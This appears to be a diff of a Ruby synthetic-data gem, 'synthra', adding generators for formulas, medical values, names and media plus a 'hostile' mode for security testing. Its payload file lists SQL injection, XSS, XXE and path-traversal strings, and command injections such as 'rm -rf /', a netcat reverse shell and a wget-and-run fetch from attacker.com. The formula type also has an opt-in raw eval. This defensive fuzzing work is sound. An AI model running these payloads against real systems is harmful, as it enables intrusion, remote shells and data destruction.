synthra 0.1.0

data/lib/synthra/types/formula.rb

@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    # Formula type generator — computes a value from sibling numeric fields.
+    class Formula < Base
+      def generate_random(rng, context, args)
+        expression = args[:expression] || args[:expr] || "0"
+        return 0 if expression.to_s.empty?
+
+        # Substitute sibling numeric fields, then evaluate the expression.
+        result = replace_field_references(expression, context)
+
+        if Synthra.configuration.allow_eval
+          # Opt-in raw Ruby eval — RCE with tenant input, so for fully-trusted schemas only.
+          eval(result) # rubocop:disable Security/Eval -- gated behind allow_eval (trusted-schema opt-in)
+        else
+          # Default: sandboxed arithmetic (no eval, no RCE). Anything that isn't pure
+          # arithmetic over numbers / the whitelisted math functions evaluates to 0.
+          value = SafeArithmetic.eval(result)
+          value.nil? ? 0 : value
+        end
+
+      rescue StandardError
+        0
+      end
+
+      def generate_edge(rng, context, args)
+        rng.sample([0, 1, -1, 999999])
+      end
+
+      def generate_invalid(rng, context, args)
+        rng.sample([nil, "not-a-number", [], {}])
+      end
+
+      private
+
+      def replace_field_references(expr, context)
+        return expr unless context
+        return expr unless context.respond_to?(:each)
+
+        result = expr.dup
+        context.each do |key, value|
+          result.gsub!(/\b#{key}\b/, value.to_s) if value.is_a?(Numeric)
+        end
+        result
+      end
+
+      # Sandboxed arithmetic evaluator: numbers, `+ - * / % **`, parentheses, and the
+      # whitelisted math functions below. No `eval`, so it is safe for tenant-supplied
+      # expressions (the RCE foot-gun is removed). Returns nil for anything outside this
+      # grammar — the caller treats nil as 0. Recursive-descent; state is per-instance so
+      # it is safe to reuse the type across generations.
+      class SafeArithmetic
+        FUNCTIONS = {
+          "min"   => ->(a) { a.min },
+          "max"   => ->(a) { a.max },
+          "abs"   => ->(a) { a.first.abs },
+          "sqrt"  => ->(a) { Math.sqrt(a.first) },
+          "floor" => ->(a) { a.first.floor },
+          "ceil"  => ->(a) { a.first.ceil },
+          "round" => ->(a) { a.length > 1 ? a[0].round(a[1].to_i) : a[0].round },
+          "pow"   => ->(a) { a[0]**a[1] }
+        }.freeze
+
+        def self.eval(expression)
+          new(expression).result
+        rescue StandardError
+          nil
+        end
+
+        def initialize(expression)
+          @tokens = tokenize(expression)
+          @pos = 0
+        end
+
+        def result
+          return nil if @tokens.empty?
+
+          value = parse_add
+          @pos == @tokens.length ? value : nil
+        end
+
+        private
+
+        # Tokenize and reject (return []) if any character isn't part of the grammar —
+        # e.g. quotes, method calls, or leftover identifiers from a non-arithmetic field.
+        def tokenize(expression)
+          tokens = expression.to_s.scan(%r{\d+\.\d+|\d+|[A-Za-z_]\w*|\*\*|[-+*/%(),]})
+          tokens.join == expression.to_s.gsub(/\s+/, "") ? tokens : []
+        end
+
+        def peek
+          @tokens[@pos]
+        end
+
+        def take
+          tok = @tokens[@pos]
+          @pos += 1
+          tok
+        end
+
+        def parse_add
+          value = parse_mul
+          while ["+", "-"].include?(peek)
+            value = take == "+" ? value + parse_mul : value - parse_mul
+          end
+          value
+        end
+
+        def parse_mul
+          value = parse_pow
+          while ["*", "/", "%"].include?(peek)
+            op = take
+            rhs = parse_pow
+            value = apply_mul(op, value, rhs)
+          end
+          value
+        end
+
+        def apply_mul(op, lhs, rhs)
+          case op
+          when "*" then lhs * rhs
+          when "/" then lhs.to_f / rhs
+          else lhs % rhs
+          end
+        end
+
+        def parse_pow
+          base = parse_unary
+          return base unless peek == "**"
+
+          take
+          base**parse_pow # right-associative
+        end
+
+        def parse_unary
+          return parse_primary unless peek == "-"
+
+          take
+          -parse_unary
+        end
+
+        def parse_primary
+          tok = peek
+          raise "unexpected end" if tok.nil?
+
+          if tok == "("
+            parse_group
+          elsif tok.match?(/\A\d/)
+            take
+            tok.include?(".") ? tok.to_f : tok.to_i
+          elsif tok.match?(/\A[A-Za-z_]/)
+            parse_function(tok)
+          else
+            raise "unexpected token #{tok}"
+          end
+        end
+
+        def parse_group
+          take # "("
+          value = parse_add
+          raise "missing )" unless take == ")"
+
+          value
+        end
+
+        def parse_function(name)
+          fn = FUNCTIONS[name]
+          raise "unknown function #{name}" unless fn
+
+          take # name
+          raise "expected (" unless take == "("
+
+          args = [parse_add]
+          args << parse_add while peek == "," && take
+          raise "expected )" unless take == ")"
+
+          fn.call(args)
+        end
+      end
+    end
+  end
+end

data/lib/synthra/types/health_medical/medical.rb

@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    module HealthMedical
+      # BloodType type
+      class BloodType < Base
+        # Available blood type identifiers
+        #
+        # Standard ABO blood group system with Rh factor.
+        #
+        # @return [Array<String>] list of blood type strings
+        #
+        BLOOD_TYPES = ["A+", "A-", "B+", "B-", "AB+", "AB-", "O+", "O-"].freeze
+
+        # Generate random blood type
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments (not used)
+        # @return [String] generated blood type
+        #
+        def generate_random(rng, context, args)
+          # Try Faker first
+          adapter = faker_adapter(context)
+          if adapter
+            adapter.blood_type
+
+          else
+            Faker::Blood.type
+          end
+
+        rescue StandardError
+          rng.sample(BLOOD_TYPES)
+        end
+
+
+        def generate_edge(rng, context, args)
+          ["", "O+", "AB-"].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+
+      # Bmi type
+      class Bmi < Base
+        # Generate random BMI
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments
+        # @option args [Range] :range BMI range (default: 15.0..40.0)
+        # @option args [Float] :min minimum BMI (default: 15.0)
+        # @option args [Float] :max maximum BMI (default: 40.0)
+        # @return [Float] generated BMI value
+        #
+        def generate_random(rng, context, args)
+          if args[:range].is_a?(Range)
+            min = args[:range].min
+            max = args[:range].max
+          else
+            min = args[:min] || 15.0
+            max = args[:max] || 40.0
+          end
+          value = rng.rand * (max - min) + min
+          value.round(1)
+        end
+
+        def generate_edge(rng, context, args)
+          [15.0, 40.0, 18.5, 25.0].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, "not a number", -1.0, 50.0, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+
+      # HeartRate type
+      class HeartRate < Base
+        # Generate random heart rate
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments
+        # @option args [Range] :range heart rate range (default: 60..100)
+        # @option args [Integer] :min minimum BPM (default: 60)
+        # @option args [Integer] :max maximum BPM (default: 100)
+        # @return [Integer] generated heart rate
+        #
+        def generate_random(rng, context, args)
+          if args[:range].is_a?(Range)
+            min = args[:range].min
+            max = args[:range].max
+          else
+            min = args[:min] || 60
+            max = args[:max] || 100
+          end
+          rng.int(min, max)
+        end
+
+        def generate_edge(rng, context, args)
+          [60, 100, 120, 40].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, "not a number", -1, 300, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+
+      # MedicalCode type
+      class MedicalCode < Base
+        # Generate random medical code
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments
+        # @option args [Symbol] :type code type (:icd10, :cpt, :hcpcs)
+        # @return [String] generated medical code
+        #
+        def generate_random(rng, context, args)
+          type = (args[:type] || :icd10).to_sym
+
+          case type
+          when :cpt
+            # CPT codes: 5 digits
+            format("%05d", rng.int(10000, 99999))
+          when :hcpcs
+            # HCPCS codes: 1 letter + 4 digits
+            letter = rng.sample(("A".."Z").to_a)
+            format("%s%04d", letter, rng.int(0, 9999))
+          else # :icd10
+            # ICD-10 codes: Letter + 2 digits + . + digit
+            letter = rng.sample(("A".."Z").to_a)
+            format("%s%02d.%d", letter, rng.int(0, 99), rng.int(0, 9))
+          end
+        end
+
+        def generate_edge(rng, context, args)
+          ["A00.0", "Z99.9", "10000", "A0000"].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, "not a code", "invalid", [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+    end
+  end
+end

data/lib/synthra/types/hostile_payloads.rb

@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+# =============================================================================
+# Synthra Hostile Payloads
+# =============================================================================
+#
+# Security attack payloads for :hostile generation mode.
+# Used for security testing of API endpoints consuming generated data.
+#
+# =============================================================================
+
+module Synthra
+  module HostilePayloads
+    # SQL Injection payloads
+    SQL_INJECTION = [
+      "' OR '1'='1",
+      "'; DROP TABLE users;--",
+      "' UNION SELECT * FROM users--",
+      "1' OR '1'='1",
+      "admin'--",
+      "' OR 1=1;--",
+      "1' AND '1'='1",
+      "' OR 'x'='x",
+      "') OR ('1'='1--",
+      "1' OR '1'='1' /*",
+      "'; EXEC xp_cmdshell('dir');--",
+      "' OR 1=1 LIMIT 1 -- '",
+      "' OR 1=1 UNION SELECT NULL, username, password FROM users--",
+      "admin' OR '1'='1' /*",
+      "' UNION SELECT NULL--",
+      "1' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--"
+    ].freeze
+
+    # XSS (Cross-Site Scripting) payloads
+    XSS = [
+      "<script>alert(1)</script>",
+      "<img src=x onerror=alert(1)>",
+      "<svg onload=alert(1)>",
+      "javascript:alert(1)",
+      "<body onload=alert(1)>",
+      "<iframe src=javascript:alert(1)>",
+      "<input onfocus=alert(1) autofocus>",
+      "<select onfocus=alert(1) autofocus>",
+      "<textarea onfocus=alert(1) autofocus>",
+      "<keygen onfocus=alert(1) autofocus>",
+      "<video><source onerror=alert(1)>",
+      "<audio src=x onerror=alert(1)>",
+      "<details open ontoggle=alert(1)>",
+      "<marquee onstart=alert(1)>",
+      "<math><mi//xlink:href=\"data:x,<script>alert(1)</script>\">"
+    ].freeze
+
+    # Buffer overflow payloads
+    BUFFER_OVERFLOW = [
+      "A" * 1000,
+      "A" * 10000,
+      "A" * 100000,
+      "\x00" * 1000,
+      "\xFF" * 1000,
+      "A" * 65536, # 64KB
+      "\x00" * 65536
+    ].freeze
+
+    # Unicode attack vectors
+    UNICODE_ATTACKS = [
+      "\u202E" + "evil" + "\u202D", # RTL override
+      "\uFEFF" + "text", # BOM
+      "\u200B" * 100, # Zero-width spaces
+      "\u2060" * 100, # Word joiner
+      "Zalgo: H\u0301\u0302\u0303\u0304\u0305\u0306\u0307\u0308\u0309\u030A\u030B\u030C\u030D\u030E\u030F\u0310\u0311\u0312\u0313\u0314\u0315\u0316\u0317\u0318\u0319\u031A\u031B\u031C\u031D\u031E\u031F\u0320\u0321\u0322\u0323\u0324\u0325\u0326\u0327\u0328\u0329\u032A\u032B\u032C\u032D\u032E\u032F\u0330\u0331\u0332\u0333\u0334\u0335\u0336\u0337\u0338\u0339\u033A\u033B\u033C\u033D\u033E\u033F\u0340\u0341\u0342\u0343\u0344\u0345\u0346\u0347\u0348\u0349\u034A\u034B\u034C\u034D\u034E\u034F\u0350\u0351\u0352\u0353\u0354\u0355\u0356\u0357\u0358\u0359\u035A\u035B\u035C\u035D\u035E\u035F\u0360\u0361\u0362\u0363\u0364\u0365\u0366\u0367\u0368\u0369\u036A\u036B\u036C\u036D\u036E\u036F",
+      "\x00", # Null byte
+      "\xFF\xFE", # Invalid UTF-16 (BOM)
+      "\xFF\xFF", # Invalid UTF-16
+      [0xD800, 0xDC00].pack("U*"), # Surrogate pair
+      "\uE000", # Private use
+      "\uF8FF" # Private use
+    ].freeze
+
+    # Path traversal payloads
+    PATH_TRAVERSAL = [
+      "../../../etc/passwd",
+      "..\\..\\..\\windows\\system32\\config\\sam",
+      "....//....//....//etc/passwd",
+      "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+      "..%2F..%2F..%2Fetc%2Fpasswd",
+      "..%252F..%252F..%252Fetc%252Fpasswd",
+      "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
+    ].freeze
+
+    # Command injection payloads
+    COMMAND_INJECTION = [
+      "; ls -la",
+      "| cat /etc/passwd",
+      "&& whoami",
+      "`id`",
+      "$(whoami)",
+      "; rm -rf /",
+      "| nc attacker.com 4444 -e /bin/sh",
+      "; wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"
+    ].freeze
+
+    # LDAP injection payloads
+    LDAP_INJECTION = [
+      "*)(uid=*))(|(uid=*",
+      "*))%00",
+      "*()|&",
+      "admin)(&(password=*))",
+      "*)(|(mail=*))",
+      "*))%00"
+    ].freeze
+
+    # XML/XXE injection payloads
+    XXE_INJECTION = [
+      '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
+      '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]><foo>&xxe;</foo>',
+      '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe;]><foo></foo>'
+    ].freeze
+
+    # All hostile payloads combined
+    ALL = (SQL_INJECTION + XSS + BUFFER_OVERFLOW + UNICODE_ATTACKS + PATH_TRAVERSAL + COMMAND_INJECTION + LDAP_INJECTION + XXE_INJECTION).freeze
+  end
+end

data/lib/synthra/types/json_array.rb

@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    # JSON array type generator (stub implementation)
+    class JsonArray < Base
+      def generate_random(rng, context, args)
+        count = args[:count] || 1
+        schema = args[:schema]
+        template = args[:template]
+        
+        if schema
+          generate_from_schema(rng, context, schema, count)
+        elsif template
+          generate_from_template(rng, context, template, count)
+        else
+          Array.new(count) { {} }
+        end
+      end
+
+      def generate_edge(rng, context, args)
+        rng.sample([[], [{}], [{}, {}]])
+      end
+
+      def generate_invalid(rng, context, args)
+        rng.sample([nil, "not-an-array", 123, {}])
+      end
+
+      private
+
+      def generate_from_schema(rng, context, schema_name, count)
+        registry = context.instance_variable_get(:@registry) if context
+        return [] unless registry
+        
+        schema = registry.schema(schema_name)
+        return [] unless schema
+        
+        # Generate a seed from the rng to get consistent results
+        seed = rng.int(0, 2_147_483_647)
+        Array.new(count) { |i| schema.generate(seed: seed + i, registry: registry) }
+      rescue StandardError
+        []
+      end
+
+      def generate_from_template(rng, context, template, count)
+        Array.new(count) { template.dup }
+      end
+    end
+  end
+end
+

data/lib/synthra/types/media_entertainment/media.rb

@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    module MediaEntertainment
+      # MovieGenres type
+      class MovieGenres < Base
+        GENRES = [
+          "Action", "Adventure", "Animation", "Comedy", "Crime",
+          "Drama", "Fantasy", "Horror", "Mystery", "Romance",
+          "Science Fiction", "Thriller", "Western", "Documentary"
+        ].freeze
+
+        def generate_random(rng, context, args)
+          rng.sample(GENRES)
+        end
+
+        def generate_edge(rng, context, args)
+          ["", "Action"].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+
+      # MovieTitle type
+      class MovieTitle < Base
+        def generate_random(rng, context, args)
+          adapter = faker_adapter(context)
+          if adapter && adapter.respond_to?(:movie_title)
+            adapter.movie_title
+
+          else
+            # Fallback titles
+            prefixes = ["The", "A", "An"]
+            nouns = ["Adventure", "Journey", "Quest", "Story", "Tale", "Legend"]
+            suffixes = ["of Destiny", "Returns", "Rises", "Awakens", "Reborn"]
+            if rng.rand < 0.5
+              "#{rng.sample(prefixes)} #{rng.sample(nouns)}"
+            else
+              "#{rng.sample(nouns)}: #{rng.sample(suffixes)}" # fallback
+            end
+
+          end
+
+        rescue StandardError
+          rng.sample(["The Adventure", "A Journey", "The Quest"]) # fallback
+        end
+
+
+        def generate_edge(rng, context, args)
+          ["", "A", "Very Long Movie Title That Exceeds Normal Limits"].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+    end
+  end
+end

data/lib/synthra/types/naughty_string.rb

@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    # Naughty string type generator (stub implementation)
+    class NaughtyString < Base
+      NAUGHTY_STRINGS = {
+        sql: ["'; DROP TABLE users; --", "' OR '1'='1", "admin'--"],
+        xss: ["<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>"],
+        path: ["../../../etc/passwd", "..\\..\\..\\windows\\system32"],
+        default: ["", "null", "undefined", "\x00", "\n\r"]
+      }.freeze
+
+      def generate_random(rng, context, args)
+        category = (args[:category] || :default).to_sym
+        strings = NAUGHTY_STRINGS[category] || NAUGHTY_STRINGS[:default]
+        rng.sample(strings)
+      end
+
+      def generate_edge(rng, context, args)
+        rng.sample(["", "\x00", "\n", "\r\n"])
+      end
+
+      def generate_invalid(rng, context, args)
+        rng.sample([nil, 123, [], {}])
+      end
+    end
+  end
+end
+

data/lib/synthra/types/personal_names/chinese.rb

@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    module PersonalNames
+      # FamilyNameChinese type
+      class FamilyNameChinese < Base
+        CHINESE_FAMILY_NAMES = ["王", "李", "张", "刘", "陈", "杨", "黄", "赵", "吴", "周"].freeze
+
+        def generate_random(rng, context, args)
+          rng.sample(CHINESE_FAMILY_NAMES)
+        end
+
+        def generate_edge(rng, context, args)
+          ["", "王"].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+
+      # GivenNameChinese type
+      class GivenNameChinese < Base
+        CHINESE_GIVEN_NAMES = ["伟", "芳", "娜", "敏", "静", "丽", "强", "磊", "军", "洋"].freeze
+
+        def generate_random(rng, context, args)
+          rng.sample(CHINESE_GIVEN_NAMES)
+        end
+
+        def generate_edge(rng, context, args)
+          ["", "伟"].sample(random: rng.instance_variable_get(:@random))
+        end
+
+        def generate_invalid(rng, context, args)
+          [nil, 123, [], {}].sample(random: rng.instance_variable_get(:@random))
+        end
+      end
+    end
+  end
+end